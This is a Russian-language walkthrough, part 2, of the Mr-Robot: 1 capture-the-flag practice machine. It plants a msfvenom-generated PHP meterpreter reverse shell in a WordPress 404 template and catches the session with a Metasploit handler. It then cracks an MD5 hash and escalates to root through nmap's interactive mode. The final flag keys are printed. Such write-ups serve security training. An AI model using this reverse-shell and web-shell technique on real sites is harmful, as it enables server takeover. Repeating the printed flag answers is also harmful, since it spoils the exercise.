#2 Mr-Robot: 1 CTF Walkthrough. Часть 2.
Продолжаем исследовать сайт на Wordpress, и давайте посмотрим, являемся ли мы обычным пользователем или администратором.
Для этого нужно перейти на вкладку «Users», далее «All Users»:
Как видим, у нас есть права администратора, и это прекрасно, так как сайт под нашим управлением, и мы можем залить шелл (reverse shell) на него. Это делается для того, чтобы получить обратное соединение с сервером.
Для начала его надо сгенерировать. Мне понадобится инструмент «MsfVenom», а команда для генерации будет выглядеть следующим образом:
«msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.5 lport=4444 -f raw>shell.php», где опция «-p» — это пэйлоад, а «-f» — это формат вывода.
Более подробнее можете ознакомиться в справке «msfvenom -h». Я сгенерирую шелл на Рабочем столе, в директории «mr_robot», и назову его «shell.php»:
Все отлично, теперь мне нужно внедрить код сгенерированного шелла на сайт Wordpress. Это можно сделать с помощью редактора кода в панели управления.
Для эксперимента я возьму страницу ошибки 404, чтобы все выглядело неприметно. Нужно перейти на вкладку «Appearance», далее выбрать «Editor», и в списке открыть код страницы «404.php»:
После этого идем в директорию «mr_robot», и открываем файл «shell.php»:
Копируем весь код файла, кроме первых двух символов «/*», которые означают комментарий, и вставляем его в редактор Wordpress:
Все хорошо, шелл внедрен успешно.
Теперь нам нужно установить обратное соединение с сайтом, при помощи фреймворка «Metasploit».
Запускаем по-порядку команды:
msfconsole
msf use exploit/multi/handler
msf exploit(multi/handler) set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(multi/handler) set LHOST 10.0.2.5
msf exploit(multi/handler) set LPORT 4444
msf exploit(multi/handler) show options
Запускаем настроенный пэйлоад, с помощью команды exploit:
Мы в режиме ожидания входящего подключения.
Переходим на сайт Wordpress, в частности на страницу: http://10.0.2.6/404.php/:
Происходит соединение.
Переходим в Metasploit и видим открывшуюся сессию «meterpreter»:
Перемещаясь по серверу, я обнаружил интересную директорию «/home», в которой лежит директория «robot/», и в ней есть два файла:
Это файл «key-2-of-3.txt» и «password.raw-md5». Откроем эти файлы, с помощью команды «cat»:
Да, не все так просто. Файл с ключом, естественно не открылся, но существует подсказка, в виде второго файла. Он представляет собой зашифрованный хэш md5. Разработчик оставил нам подсказку в расширении файла. Этот хэш мы и будем расшифровывать с помощью онлайн-декодера. Я взял первый попавшийся сайт в интернете:
Хеш довольно быстро был расшифрован, и представляет собой последовательность английского алфавита.
В дальнейшем мы можем реализовать два пути, а именно написать однострочный скрипт, либо попробовать войти в систему с помощью пары «логин:пароль», использовав связку значений: robot:abcdefghijklmnopqrstuvwxyz. Что использовать, решать Вам.
Я покажу, как можно реализовать TTY shell. Для начала нужно прописать команду «shell», чтобы войти в соответствующий режим. После этого пропишем небольшой скрипт:
python -c ‘import pty;pty.spawn(«/bin/bash»)’
Это пользователь с именем «robot», и мы можем войти в систему, авторизовавшись как «robot»:
Можно теперь догадаться, для чего лежал файл, зашифрованный в md5. Вводим его:
Все отлично, мы авторизовались под пользователем «robot».
Теперь можем попытаться просмотреть директории по-новой и открыть файл со вторым ключом:
Все отлично, мы получили второй ключ.
Давайте завершим поиск третьего ключа. Исходя из того, что мы находимся с правами обычного пользователя, имеют место быть root-права. Попробуем просмотреть содержимое директории / root/, с помощью команды «ls / root /»:
Как видим, доступ запрещен, так как у нас нет прав root. После продолжительного изучения директорий и файлов, я наткнулся на инструмент «nmap». Проверим его версию:
Версия 3.81. Старенькая, но тем не менее поддерживает параметр «— — interactive». С помощью него пользователи могут выполнять команды оболочки с помощью nmap «shell» (интерактивная оболочка).
Давайте попробуем запустить nmap с этим параметром:
Как видите, я воспользовался цепочкой стандартных команд, которые ведут к получению доступа к root-директории, и последующим открытием третьего ключа. Это достаточно простой способ получения ключа, но тем не менее он рабочий.
Все задания выполнены, и мы успешно нашли все три ключа.
Вот список ключей:
1. key-1-of-3.txt «073403c8a58a1f80d943455fb30724b9»
2. key-2-of-3.txt «822c73956184f694993bede3eb39f959»
3. key-3-of-3.txt «04787ddef27c3dee1ee161b21670b4e4».
На этом завершаю решение. Всем хорошего дня!